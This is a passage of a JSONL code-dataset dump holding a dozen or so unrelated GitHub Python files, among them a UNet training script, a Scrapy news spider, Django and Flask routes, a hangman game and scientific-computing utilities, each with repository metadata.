tasks.RemoveFolderMounts)\n","repo_name":"null0000/bootstrap-vz","sub_path":"bootstrapvz/plugins/minimize_size/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21197489033","text":"import os\nimport sys\nimport numpy as np\nfrom tqdm import tqdm\nfrom argparse import ArgumentParser\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport torchvision\nimport torchvision.transforms as T\n\nfrom data import gestalt\nfrom models import unet\n\ndef learning_rate_update(optim, step, warmup_steps, max_lr, max_steps):\n \"\"\" Learning Rate Scheduler with linear warmup and cosine annealing\n\n Params:\n ------\n optim: torch.optim:\n Torch optimizer\n step: int:\n current training step\n warmup_steps: int:\n number of warmup steps\n max_lr: float:\n maximum learning rate\n max_steps: int:\n total number of training steps\n\n Returns:\n --------\n Updates optimizer and returns updated learning rate\n \"\"\"\n if step < warmup_steps:\n warmup_percent_done = step / warmup_steps\n lr = max_lr * warmup_percent_done\n optim.lr = lr\n else:\n lr = 0.5 * (max_lr) * (1 + np.cos(step / max_steps * np.pi))\n optim.lr = lr\n\n return lr\n\ndef train(args, train_loader, model, start_step=0):\n print_steps = args.print_steps\n eval_every = args.eval_every\n target = args.target\n\n def train_step(data, criterion, optimizer, train=True):\n optimizer.zero_grad()\n images = data[\"images\"].cuda()\n target = data[args.target].cuda()\n print(images.shape, target.shape)\n loss, metrics = model.get_metrics(images, target, criterion, target_name=args.target)\n torch.nn.utils.clip_grad_norm_(model.parameters(), args.grad_clip)\n loss.backward()\n optimizer.step()\n return loss, metrics\n\n n_params = sum([np.prod(v.shape) for v in net.parameters()])\n print(\"Parameters in network:\", n_params)\n print(\"Number training batches: \", len(train_loader))\n writer = SummaryWriter(log_dir=args.log_dir + args.run_name)\n\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n print(\"Using device:\", device)\n\n model.to(device)\n model.train()\n\n optimizer = torch.optim.Adam(\n model.parameters(), lr=args.lr, betas=args.betas, eps=args.eps\n )\n if args.target == \"masks\":\n criterion = nn.CrossEntropyLoss()\n else:\n criterion = nn.MSELoss()\n\n step = start_step\n steps_per_epoch = len(train_loader)\n start_epoch = int(step / steps_per_epoch)\n for epoch in range(start_epoch, args.epochs):\n for i, batch in tqdm(enumerate(train_loader)):\n lr = learning_rate_update(optimizer, step, args.warmup_steps, args.lr, args.train_iters)\n loss, metrics = train_step(batch, criterion, optimizer)\n\n if (i + 1) % print_steps == 0:\n print(f\"[Epoch: {epoch}] Step: {step} ==> Loss: {loss.item()}\")\n model.log_metrics(writer, step, metrics, target=args.target, phase=\"train\")\n\n if step % eval_every == 0:\n model.eval()\n\n testing_loss = []\n testing_preds = []\n testing_metrics = []\n with torch.no_grad():\n train_loader.dataset.training = False\n print(\n f\"Running evaluation step on {len(train_loader)} test batches...\"\n )\n for test_step, batch in tqdm(enumerate(train_loader)):\n if test_step >= 100:\n break\n torch.cuda.empty_cache()\n # print(data.shape)\n loss, metrics = model.get_metrics(\n batch[\"images\"], batch[target], criterion, target_name=args.target\n )\n testing_loss.append(loss.item())\n testing_metrics.append(metrics)\n\n def avg(metric_list, key, dim=0):\n return np.mean(\n [metric[key].detach().cpu().numpy() for metric in metric_list],\n axis=dim,\n )\n\n metrics = {}\n test_loss = np.mean(testing_loss)\n metrics[\"loss\"] = test_loss\n metrics[f\"predicted_{target}\"] = testing_metrics[0][\n f\"predicted_{target}\"\n ]\n metrics[f\"gt_{target}\"] = testing_metrics[0][f\"gt_{target}\"]\n metrics[\"images\"] = testing_metrics[0][\"images\"]\n model.log_metrics(writer, step, metrics, target=args.target, phase=\"test\")\n\n print(\"=\" * 66)\n print(\"=\" * 30 + \" EVAL \" + \"=\" * 30)\n print(f\"[Epoch: {epoch}] Eval loss ==> {test_loss}\")\n print(\"=\" * 66)\n sys.stdout.flush()\n state = {\n \"args\": args,\n \"step\": step,\n \"state_dict\": model.state_dict(),\n \"optimizer\": optimizer.state_dict(),\n }\n\n checkpoint_dir = os.path.join(args.checkpoint_dir, args.run_name)\n os.makedirs(checkpoint_dir, exist_ok=True)\n checkpoint_path = os.path.join(checkpoint_dir, f\"checkpoint_{step}.pt\")\n print(\"Saving model to: \", checkpoint_path)\n torch.save(state, checkpoint_path)\n\n train_loader.dataset.training = True\n model.train()\n step += 1\n\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n\n # Run parameters\n parser.add_argument(\n \"--data_dir\",\n type=str,\n default=\"/om2/user/yyf/CommonFate/scenes/\",\n )\n parser.add_argument(\"--run_name\", type=str, default=\"\", help=\"Name of run\")\n parser.add_argument(\n \"--log_dir\", type=str, default=\"/om2/user/yyf/GestaltVision/runs/UNet\"\n )\n parser.add_argument(\n \"--checkpoint_dir\",\n type=str,\n default=\"/om2/user/yyf/GestaltVision/saved_models/UNet\",\n )\n\n # Dataset params\n parser.add_argument(\"--resize\", type=int, default=128, help=\"input size of image\")\n parser.add_argument(\"--batch_size\", type=int, default=16, help=\"batch size\")\n parser.add_argument(\"--frames_per_scene\", type=int, default=6, help=\"frames per scene\")\n parser.add_argument(\"--top_level\", default=[\"voronoi\", \"noise\"], nargs=2, type=str, help=\"Texture level of dataset\")\n parser.add_argument(\"--sub_level\", default=[\"superquadric_2\", \"superquadric_3\"], nargs=2, type=str, help=\"Object level of dataset\")\n\n # UNet Params\n parser.add_argument(\"--target\", type=str, default=\"masks\", help=\"Target to decode\")\n parser.add_argument(\"--n_classes\", type=int, default=2)\n parser.add_argument(\"--num_channels\", type=int, default=3)\n\n # Optimizer hyperparameters\n parser.add_argument(\"--betas\", type=tuple, default=(0.9, 0.999))\n parser.add_argument(\"--lr\", type=float, default=1e-4)\n parser.add_argument(\"--eps\", type=float, default=1e-8)\n\n # Train / Logging hyperparameters\n parser.add_argument(\"--eval_every\", type=int, default=1000)\n parser.add_argument(\"--print_steps\", type=int, default=10)\n parser.add_argument(\"--epochs\", type=int, default=20)\n parser.add_argument(\"--load_from_last_checkpoint\", action=\"store_true\")\n parser.add_argument(\"--load_checkpoint\", type=str, default=\"\")\n\n parser.add_argument(\"--warmup_steps\", type=int, default=2500, help=\"Warmup steps for learning rate\")\n parser.add_argument(\"--grad_clip\", type=float, default=0.05, help=\"Gradient Clipping\")\n parser.add_argument(\n \"--train_iters\", type=int, default=10e4, help=\"Number of training steps\"\n )\n\n from torch.nn import DataParallel\n\n args = parser.parse_args()\n\n net = unet.UNet(\n n_channels=args.num_channels,\n n_classes=args.n_classes,\n )\n print(args.top_level, args.sub_level)\n\n train_data = DataLoader(\n gestalt.Gestalt(args.data_dir, frames_per_scene=args.frames_per_scene,\n top_level=args.top_level,\n sub_level=args.sub_level,\n passes=[\"images\", args.target],\n train_split=0.90,\n resolution=(args.resize, args.resize)),\n batch_size=args.batch_size,\n shuffle=True,\n )\n\n start_step = 0\n if args.load_from_last_checkpoint or args.load_checkpoint:\n if args.load_from_last_checkpoint:\n\n def get_last_checkpoint(checkpoint_dir, run_name):\n path = os.path.join(checkpoint_dir, run_name)\n if not os.path.exists(path):\n print(f\"{path} does not exist\")\n return None\n files = os.listdir(path)\n files = [f for f in files if f.startswith(\"checkpoint\")]\n files.sort(key=lambda x: int(x.split(\".\")[0].split(\"_\")[-1]))\n return os.path.join(path, files[-1])\n\n checkpoint_path = get_last_checkpoint(args.checkpoint_dir, args.run_name)\n if checkpoint_path is None:\n print(f\"No checkpoint found at {checkpoint_path}. Exiting...\")\n sys.exit(1)\n else:\n checkpoint_path = args.load_checkpoint\n\n print(\"Loading model from: \", checkpoint_path)\n\n checkpoint = torch.load(checkpoint_path)\n net.load_state_dict(checkpoint[\"state_dict\"])\n start_step = checkpoint.get(\"step\", 0)\n\n train(args, train_data, net, start_step=start_step)\n","repo_name":"yifr/GestaltVision","sub_path":"train_unet.py","file_name":"train_unet.py","file_ext":"py","file_size_in_byte":9565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74009103204","text":"from django import forms\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass LinkMastodonAccountForm(forms.Form):\n \"\"\"\n Custom form that we use to collect the remote instance domain.\n \"\"\"\n\n instance_url = forms.fields.URLField(\n label=_(\"Server URL\"),\n help_text=_(\"Include the full domain, e.g. https://mastodon.social\"),\n )\n","repo_name":"andrlik/django-post-later","sub_path":"post_later/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"39169938729","text":"import os\n\nimport pytest\nfrom llms.datasets.datasets import CharDataset\n\n# Input parameters\nPATH_DATASET = \"/.datasets/llms/brasiliansong/input.txt\"\nBLOCK = 16\n\n\ndef test_tiny_dataset():\n dataset = CharDataset(PATH_DATASET, BLOCK, train=True, download=True)\n assert len(dataset) > 0\n\n x, y = dataset[0]\n print(dataset.voc)\n\n print(\"\")\n print(\"len: \", len(dataset))\n print(\"x: \", x)\n print(\"decode:\", dataset.from_tokens(x))\n print(\"y: \", y)\n print(\"decode:\", dataset.from_tokens(y))\n\n\nif __name__ == \"__main__\":\n pytest.main([__file__])\n","repo_name":"pedrodiamel/gpt_mini_mini","sub_path":"test/datasets/test_dataset.py","file_name":"test_dataset.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"19359169935","text":"# -*- coding: utf-8 -*-\n# @Time  : 2019/11/7 下午4:25\n# @Author : mez\n# @Project : news_all\n# @FileName: bjd_spider.py\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import Rule\nfrom news_all.spider_models import NewsRCSpider, otherurl_meta\nfrom datetime import datetime\nfrom news_all.tools.time_translater import Pubtime\n\n\nclass Bjd(NewsRCSpider):\n name = 'bjd'\n\n # 北京日报 ==》 补充全站采集\n mystart_urls = {\n \"http://www.bjd.com.cn/\": 1\n }\n\n rules = (\n\n # http://www.bjd.com.cn/a/201911/08/WS5dc4c152e4b0621d5c14cfb2.html\n Rule(LinkExtractor(allow=r'.bjd.com.cn/\\w+/%s/\\d{2}/\\w+\\.html' % datetime.today().strftime('%Y%m'),),\n callback='parse_item',\n follow=True),\n\n Rule(LinkExtractor(allow=r'bjd.com.cn/.*?\\.html', deny=(r'/201[0-8]', r'/20190[1-9]', r'/20191[0]'),),\n process_request=otherurl_meta,\n follow=False),\n )\n\n\n def parse_item(self, response):\n # http://www.bjd.com.cn/a/201911/08/WS5dc4c152e4b0621d5c14cfb2.html\n xp = response.xpath\n try:\n title = self.get_page_title(response).split('_')[0] or xp(\n \"//span[@class='span1']/text()\").extract_first() # self.get_page_title(response).split('_')[0]\n pubtime = Pubtime(xp(\"//span[@class='span31']/text()\").extract_first())\n content_div = xp(\"//div[@class='contentnews21']\")[0]\n content, media, videos, video_cover = self.content_clean(content_div, need_video=True) # str list\n origin_name = xp(\"//span[@class='span32']/text()\").extract_first()# None 不要用[0]\n except Exception as e:\n return self.produce_debugitem(response, \"xpath error\")\n\n return self.produce_item(\n response=response,\n title=title,\n pubtime=pubtime,\n origin_name=origin_name, # \"\" None xpath\n content=content,\n media=media,\n videos=videos,\n\n )","repo_name":"Pintrue/news_all","sub_path":"news_all/spiders/bjd.py","file_name":"bjd.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"72480202086","text":"import sys\nimport pandas as pd\nfrom gensim.models.doc2vec import Doc2Vec\n\nmodel = Doc2Vec.load('onsen2vec.model')\ncorpus = pd.read_pickle('onsen2vec.corpus')\n\ndef search_similar_texts(words):\n x = model.infer_vector(words)\n most_similar_texts = model.docvecs.most_similar([x])\n for similar_text in most_similar_texts:\n print(similar_text)\n\ndef search_similar_words(words):\n for word in words:\n print()\n print(word + ':')\n for result in model.wv.most_similar(positive=word, topn=10):\n print(result)\n\ndef search_similar_onsen(onsen):\n target = corpus[corpus['onsen'] == onsen]\n if len(target) == 0:\n print('no such onsen in the corpus: ' + onsen)\n return\n words = target.iloc[0]['words']\n search_similar_texts(words)\n\n\nif __name__ == '__main__':\n word = sys.argv[1]\n search_similar_onsen(word)","repo_name":"d6ms/onsen2vec","sub_path":"onsen2vec.py","file_name":"onsen2vec.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"44866952357","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.views.generic import RedirectView\nfrom djangobb_forum import settings as forum_settings\n\nfrom standardweb import views\nfrom standardweb import api\n\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^$', views.index),\n url(r'^player_list', views.player_list),\n url(r'^^((?P\\d{1})/)?player_graph', views.player_graph),\n url(r'^faces/(?P\\d{2})/(?P\\w{0,50})\\.png$', views.get_face),\n url(r'^((?P\\d{1})/)?player/(?P\\w{0,50})$', views.player),\n url(r'^search/$', views.search),\n url(r'^((?P\\d{1})/)?ranking$', views.ranking),\n url(r'^rankings$', RedirectView.as_view(url='/ranking')),\n url(r'^((?P\\d{1})/)?leaderboards$', views.leaderboards),\n url(r'^((?P\\d{1})/)?chat$', views.chat),\n url(r'^pvp_leaderboard$', views.pvp_leaderboard),\n \n url(r'^login$', views.login, {'template_name':'login.html', 'authentication_form': AuthenticationForm, 'SSL': True}, name='login'),\n url(r'^logout$', views.logout, name='logout'),\n \n url(r'^classic/player/(?P\\w{0,50})$', views.player, kwargs={'server_id': 1}),\n url(r'^classic/ranking$', views.ranking, kwargs={'server_id': 1}),\n \n url(r'^((?P\\d{1})/)?analytics$', views.analytics),\n url(r'^((?P\\d{1})/)?server-admin$', views.admin),\n \n (r'^500$', views.server_error),\n (r'^403$', views.forbidden),\n)\n\nfor api_func in api.api_funcs:\n urlpatterns += patterns('standardweb.api',\n url(r'^api/v(?P\\d{1})/%s' % api_func.__name__, api_func.__name__),\n )\n \nurlpatterns += patterns('', \n (r'^forum/', include('djangobb_forum.urls', namespace='djangobb')),\n \n (r'^admin/', include(admin.site.urls)),\n)\n\nif (forum_settings.PM_SUPPORT):\n urlpatterns += patterns('', (r'^forum/pm/', include('messages.urls')),\n)\n \nhandler403 = 'standardweb.views.forbidden'\nhandler500 = 'standardweb.views.server_error'","repo_name":"sbezboro/standard-web","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"70667972965","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport soundfile as sf\nimport os\nimport matplotlib.pyplot as plt\n\nfrom mic_py.feats import *\nfrom mic_py.mic_io import read_mic_wav_from_lst\nfrom mic_py.mic_gcc_phat import gcc_phat\n\ndef main():\n\n #################################################################\n # 0.0 - profile\n path_to_data=\"E:\\STORAGE_PROJECT_2\\AMI\\data\\EN2001b_1min\"\n mic_count = 8\n max_len_sec = 60\n _mix_start = 0\n _mix_end = 40\n gcc_window_sec = .5\n gcc_hop_sec = 0.25\n\n #################################################################\n # 1.0 - Read signal\n lst_files_ = [\"EN2001b.Array1-0{}.wav\".format(n) for n in range(1,mic_count +1)]\n lst_files = [os.path.join(path_to_data, f) for f in lst_files_]\n x_all_arr, sr = read_mic_wav_from_lst(lst_files, max_len_sec)\n x_all_arr = x_all_arr[:,(np.int32)(_mix_start*sr):(np.int32)(_mix_end*sr)]\n\n (n_channels, n_samples) = x_all_arr.shape\n print (\"Array data read done!\")\n print (\" n_channels = \", n_channels)\n print (\" n_samples = \", n_samples)\n print (\" freq = \", sr)\n\n # #################################################################\n # # 2.0 - Calc feat\n # tau, cc = gcc_phat(sig = x_all_arr[1,:], refsig= x_all_arr[0,:], fs=sr, max_tau=None, interp=16)\n # print(\"tau , cc = \", tau, cc)\n\n\n #################################################################\n # 2.0 - Calc feats slice\n gcc_window_size = int(sr * gcc_window_sec)\n gcc_hop_size = int(sr * gcc_hop_sec)\n id_main_ch = 2\n id_ref_ch = 0\n\n lst_tau = []\n for i in range(0, n_samples - gcc_window_size, gcc_hop_size):\n print(\" i:i+win\", i, i + gcc_window_size)\n tau, cc = gcc_phat(sig=x_all_arr[id_main_ch, i:i + gcc_window_size], refsig=x_all_arr[id_ref_ch, i:i + gcc_window_size], fs=sr, max_tau=None, interp=16)\n lst_tau.append(tau)\n ind = np.argsort(np.abs(cc))[-4:]\n print(cc[ind])\n\n\n\n\n\n lst_tau = np.array(lst_tau)\n time = np.arange(0, len(lst_tau)*gcc_hop_sec, gcc_hop_sec)\n #################################################################\n # 3.0 - Plot DN\n plt.plot(time, lst_tau)\n plt.xlabel('time')\n plt.ylabel('cc')\n plt.title('GCC_PHAT')\n plt.grid(True)\n plt.savefig(r\".\\out\\DS.png\")\n plt.show()\n\n\n # #################################################################\n # # 3.0 - Plot DN\n # plt.plot(cc)\n # plt.xlabel('k')\n # plt.ylabel('cc')\n # plt.title('GCC_PHAT')\n # plt.grid(True)\n # plt.savefig(r\".\\out\\DS.png\")\n # plt.show()\n\nif __name__ == '__main__':\n\n main()\n","repo_name":"alexdoberman/ma","sub_path":"ma_py/_main_GCC_PHAT.py","file_name":"_main_GCC_PHAT.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"52"} +{"seq_id":"39717256885","text":"#%% \nfrom lib2to3.pytree import LeafPattern\nfrom mimetypes import guess_all_extensions\nimport random\n\nclass Hangman:\n #initalise attributes \n def __init__(self, word_list, num_lives = 5):\n self.word = random.choice(word_list)\n #word_guessed is a list of ' '\n self.word_guessed = [\" \" for i in range(len(self.word))]\n self.num_letters = len(set(self.word))\n self.num_lives = num_lives\n self.word_list = word_list\n self.list_of_guesses = []\n\n #To use the len function, I need to create a method __len__()\n def __len__(self):\n return len(self.word_list)\n \n # A method check_guess with guess as it's parameter\n def check_guess(self, guess):\n #Convert the guess to lowercase\n guess = guess.lower()\n #If guess is in the word, print a statement and replace '' with the guess in the list word_guessed\n if guess in self.word:\n print(\"Good guess! {} is in the word.\".format(guess))\n for i in range(len(self.word)):\n if self.word[i] == guess:\n self.word_guessed[i] = guess\n #reduce the number of letters that still need to be guessed by 1\n self.num_letters -= 1\n #if the guess is wrong, a life is lost and two statements are printed\n else:\n self.num_lives -= 1\n print(\"Sorry, {} is not in the word.\".format(guess))\n print(\"You have {} lives left.\".format(self.num_lives))\n \n #add guess to the list of guesses\n self.list_of_guesses.append(guess)\n \n #A method ask for input that first checks if a single alphabetical character has been inputted. \n def ask_for_input(self):\n while True:\n guess = input(\"Enter a guess: \")\n if len(guess) != 1 or not guess.isalpha():\n guess = input(\"Invalid letter. Please, enter a single alphabetical character.\")\n #Checks if the input has already been guessed\n elif guess in self.list_of_guesses:\n print(\"You already tried that letter!\")\n #Uses the method check guess\n else:\n self.check_guess(guess)\n break\n \ndef play_game():\n game = Hangman(word_list, num_lives = 5)\n while True:\n if game.num_lives == 0:\n print(\"You lost!\")\n break\n \n elif game.num_letters > 0:\n game.ask_for_input()\n \n else:\n print(\"Congratulations, you win!\")\n break\n \nif __name__ == \"__main__\":\n word_list = ['passionfruit', 'mango', 'grapes', 'raspberry', 'orange']\n play_game()\n# %%\n","repo_name":"SarahAisagbon/hangman","sub_path":"milestone_3.py","file_name":"milestone_3.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2418553389","text":"import os\n\n\ncharIDs = {\n 0: \"Paul\",\n 1: \"Law\",\n 2: \"King\",\n 3: \"Yoshimitsu\",\n 4: \"Hwoarang\",\n 5: \"Xiayou\",\n 6: \"Jin\",\n 7: \"Bryan\",\n 8: \"Heihachi\",\n 9: \"Kazuya\",\n 10: \"Steve\",\n 11: \"JACK7\",\n 12: \"Asuka\",\n 13: \"Devil Jin\",\n 14: \"Feng\",\n 15: \"Lili\",\n 16: \"Dragunov\",\n 17: \"Leo\",\n 18: \"Lars\",\n 19: \"Alisa\",\n 20: \"Claudio\",\n 21: \"Katarina\",\n 22: \"Chloe\",\n 23: \"Shaheen\",\n 24: \"Josie\",\n 25: \"Gigas\",\n 26: \"Kazumi\",\n 27: \"Devil Kazumi\",\n 28: \"Nina\",\n 29: \"Master Raven\",\n 30: \"Lee\",\n 31: \"Bob\",\n 32: \"Akuma\",\n 33: \"Kuma\",\n 34: \"Panda\",\n 35: \"Eddy\",\n 36: \"Eliza\",\n 37: \"Miguel\",\n 38: \"Soldier\",\n 39: \"Young Kazuya\",\n 40: \"JACK4\",\n 41: \"Young Heihachi\",\n 42: \"Dummy\",\n 43: \"Geese\",\n 44: \"Noctis\",\n 45: \"Anna\",\n 46: \"Lei\",\n 47: \"Marduk\",\n 48: \"Armor King\",\n 49: \"Julia\",\n 50: \"Negan\",\n 51: \"Zafina\",\n 52: \"Ganryu\",\n 53: \"Leroy\",\n 54: \"Fahk\",\n 55: \"Kuni\",\n 56: \"Lidia\",\n 75: \"NONE\"\n}\n\nthree_letter_initials = {\n 0: \"pau\",\n 1: \"law\",\n 2: \"kin\",\n 3: \"yos\",\n 4: \"hwo\",\n 5: \"xia\",\n 6: \"jin\",\n 7: \"bry\",\n 8: \"hei\",\n 9: \"kaz\",\n 10: \"ste\",\n 11: \"jac\",\n 12: \"ask\",\n 13: \"dvj\",\n 14: \"fen\",\n 15: \"lil\",\n 16: \"dra\",\n 17: \"leo\",\n 18: \"lar\",\n 19: \"asa\",\n 20: \"ita\",\n 21: \"ltn\",\n 22: \"dnc\",\n 23: \"arb\",\n 24: \"mut\",\n 25: \"crz\",\n 26: \"kzm\",\n 27: \"bs7\",\n 28: \"nin\",\n 29: \"frv\",\n 30: \"lee\",\n 31: \"bob\",\n 32: \"mrx\",\n 33: \"kum\",\n 34: \"pan\",\n 35: \"edd\",\n 36: \"elz\",\n 37: \"mig\",\n 38: \"zak\",\n 39: \"ykz\",\n 40: \"ja4\",\n 41: \"yhe\",\n 42: \"dek\",\n 43: \"mry\",\n 44: \"mrz\",\n 45: \"ann\",\n 46: \"lei\",\n 47: \"mar\",\n 48: \"aki\",\n 49: \"jul\",\n 50: \"nsa\",\n 51: \"zaf\",\n 52: \"gan\",\n 53: \"nsb\",\n 54: \"nsc\",\n 55: \"knm\",\n 56: \"nsd\",\n}\n\nforbiddenChars = [27, 38, 39, 40, 41, 42, 75]\n\n\ndef pushEmptyToEnd(arr):\n n = len(arr)\n count = 0\n for i in range(n):\n if arr[i] != \"\":\n arr[count] = arr[i]\n count += 1\n while count < n:\n arr[count] = \"\"\n count += 1\n return arr\n\n\ndef Char(id: int) -> str:\n return charIDs.get(id, \"none\")\n\n\ndef toBytes(x: int, size=8):\n return x.to_bytes(size, 'little')\n\n\ndef parseLine(line: str, fileData: dict):\n if line[0] == '#':\n return\n values = line.split('=')\n fileData[values[0]] = values[1]\n if values[0] == 'character_ids':\n character_ids = values[1].split(',')\n fileData[values[0]] = []\n for id in character_ids:\n fileData[values[0]].append(int(id))\n return\n\n\ndef isTekken7Path(fullpath):\n for file in os.listdir(fullpath):\n if file == \"TEKKEN 7.exe\":\n return True\n return False\n\n\nif __name__ == '__main__':\n fileData = {}\n filename = 'presets1.ini'\n try:\n with open(filename, 'r') as fd:\n lines = fd.readlines()\n lines = [line.rstrip() for line in lines]\n except:\n print('\"%s\" file not found. Make sure it is present in same directory' % filename)\n exit(1)\n\n for line in lines:\n parseLine(line, fileData)\n print(fileData['character_ids'])\n","repo_name":"AliK3112/TekkenPresetMaker","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"73474549915","text":"__all__ = [\"Markerwise\", \"rhs_with_markerwise_field\"]\n\nimport dolfin as df\n\n\nfrom dolfin import (\n dx,\n Measure,\n)\n\n\ndef rhs_with_markerwise_field(g, mesh, v):\n if g is None:\n dz = dx\n rhs = 0.0 # Do make constant\n elif isinstance(g, Markerwise):\n markers = g.markers()\n dz = Measure(\"dx\", domain=mesh, subdomain_data=markers)\n rhs = sum([g*v*dz(i) for (i, g) in zip(g.keys(), g.values())])\n else:\n dz = dx\n rhs = g*v*dz()\n return dz, rhs\n\n\nclass Markerwise:\n \"\"\"A container class representing an object defined by a number of\n objects combined with a mesh function defining mesh domains and a\n map between the these.\n\n *Arguments*\n objects (tuple)\n the different objects\n keys (tuple of ints)\n a map from the objects to the domains marked in markers\n markers (:py:class:`dolfin.MeshFunction`)\n a mesh function mapping which domains the mesh consist of\n\n *Example of usage*\n\n Given (g0, g1), (2, 5) and markers, let\n\n g = g0 on domains marked by 2 in markers\n g = g1 on domains marked by 5 in markers\n\n letting::\n\n g = Markerwise((g0, g1), (2, 5), markers)\n\n \"\"\"\n def __init__(self, objects, keys, markers):\n \"\"\"Create Markerwise from given input.\"\"\"\n # Check input\n assert len(objects) == len(keys), \"Expecting the number of objects to equal the number of keys\"\n\n # Store attributes:\n self._objects = dict(zip(keys, objects))\n self._markers = markers\n\n def values(self):\n \"The objects\"\n return self._objects.values()\n\n def keys(self):\n \"The keys or domain numbers\"\n return self._objects.keys()\n\n def markers(self):\n \"The markers\"\n return self._markers\n\n def __getitem__(self, key):\n \"The objects\"\n return self._objects[key]\n\n\nif __name__ == \"__main__\":\n g1 = df.Expression(\"1.0\", degree=1)\n g5 = df.Expression(\"sin(pi*x[0])\", degree=3)\n\n mesh = df.UnitSquareMesh(16, 16)\n\n class SampleDomain(df.SubDomain):\n def inside(self, x, on_boundary):\n return all(x <= 0.5 + df.DOLFIN_EPS)\n\n markers = df.MeshFunction(\"size_t\", mesh, mesh.topology().dim(), 1)\n domain = SampleDomain()\n domain.mark(markers, 5)\n\n g = Markerwise((g1, g5), (1, 5), markers)\n\n df.plot(g.markers())\n for v in g.values():\n df.plot(v, mesh=mesh)\n df.interactive()\n","repo_name":"jakobes/xalbrain","sub_path":"xalbrain/markerwisefield.py","file_name":"markerwisefield.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"20043301588","text":"from flask import jsonify, request\nfrom server import app\nfrom server.models.student import Student\nfrom flask_login import current_user, login_required\n\n\n@app.route('/api/students', methods=['POST'])\ndef create_student():\n \"\"\" An endpoint for creating a student to be used programmatically.\n This route is disabled except when the app is run with the debug flag.\n \"\"\"\n if not app.debug:\n return jsonify(error=\"This endpoint is only enabled in debug mode.\")\n\n r = request.get_json(force=True)\n student = Student.create_student(\n net_id=r.get('net_id'),\n name=r.get('name'),\n email=r.get('email'),\n password=r.get('password')\n )\n if student:\n return jsonify(student=student.serialize)\n else:\n return jsonify({\n \"error\": \"Student with given net_id already exists\"\n })\n\n\n@app.route('/api/students//', methods=['POST'])\n@login_required\ndef add_favorited_project(net_id, post_id):\n \"\"\" Add a starred post to a student profile. \"\"\"\n if not current_user.net_id == net_id:\n return jsonify({\"status\": \"error\"})\n\n if Student.add_favorited_project(net_id, post_id):\n return jsonify({\"status\": \"success\"})\n else:\n return jsonify({\"status\": \"error\"})\n\n\n@app.route('/api/students//', methods=['DELETE'])\n@login_required\ndef delete_favorited_project(net_id, post_id):\n \"\"\" Remove a starred post from a student profile. \"\"\"\n if not current_user.net_id == net_id:\n return jsonify({\"status\": \"error\"})\n\n if Student.delete_favorited_project(net_id, post_id):\n return jsonify({\"status\": \"success\"})\n else:\n return jsonify({\"status\": \"error\"})\n","repo_name":"sampsyo/rematch","sub_path":"server/routes/student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"6353985623","text":"from FeedMicrosoftIntune import Client\n\nURL = 'https://docs.microsoft.com/en-us/intune/fundamentals/intune-endpoints'\n\n\ndef test_build_iterator(requests_mock):\n with open('test_data/Microsoft_endpoint_mock.html', 'r') as file:\n response = file.read()\n requests_mock.get(URL, text=response)\n expected_domain = 'login.microsoftonline.com'\n expected_domain_glob = '*.manage.microsoft.com'\n expected_ip = '52.175.12.209'\n expected_cidr = '40.82.248.224/28'\n client = Client(\n base_url=URL,\n verify=False,\n proxy=False,\n )\n indicators = client.build_iterator()\n domain_indicators = {indicator['value'] for indicator in indicators if indicator['type'] == 'Domain'}\n domain_glob_indicators = {indicator['value'] for indicator in indicators if indicator['type'] == 'DomainGlob'}\n ip_indicators = {indicator['value'] for indicator in indicators if indicator['type'] == 'IP'}\n cidr_indicators = {indicator['value'] for indicator in indicators if indicator['type'] == 'CIDR'}\n assert expected_domain in domain_indicators\n assert expected_domain_glob in domain_glob_indicators\n assert expected_ip in ip_indicators\n assert expected_cidr in cidr_indicators\n","repo_name":"demisto/content","sub_path":"Packs/FeedMicrosoftIntune/Integrations/FeedMicrosoftIntune/FeedMicrosoftIntune_test.py","file_name":"FeedMicrosoftIntune_test.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":1023,"dataset":"github-code","pt":"50"} +{"seq_id":"20810454614","text":"import tensorflow as tf\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, LambdaCallback\nfrom keras.layers import Input, Dropout\nfrom keras.models import Model\nfrom keras.optimizers import Adam, SGD\nfrom keras.regularizers import l2\nfrom spektral_tri_gnn.datasets import citation\nfrom 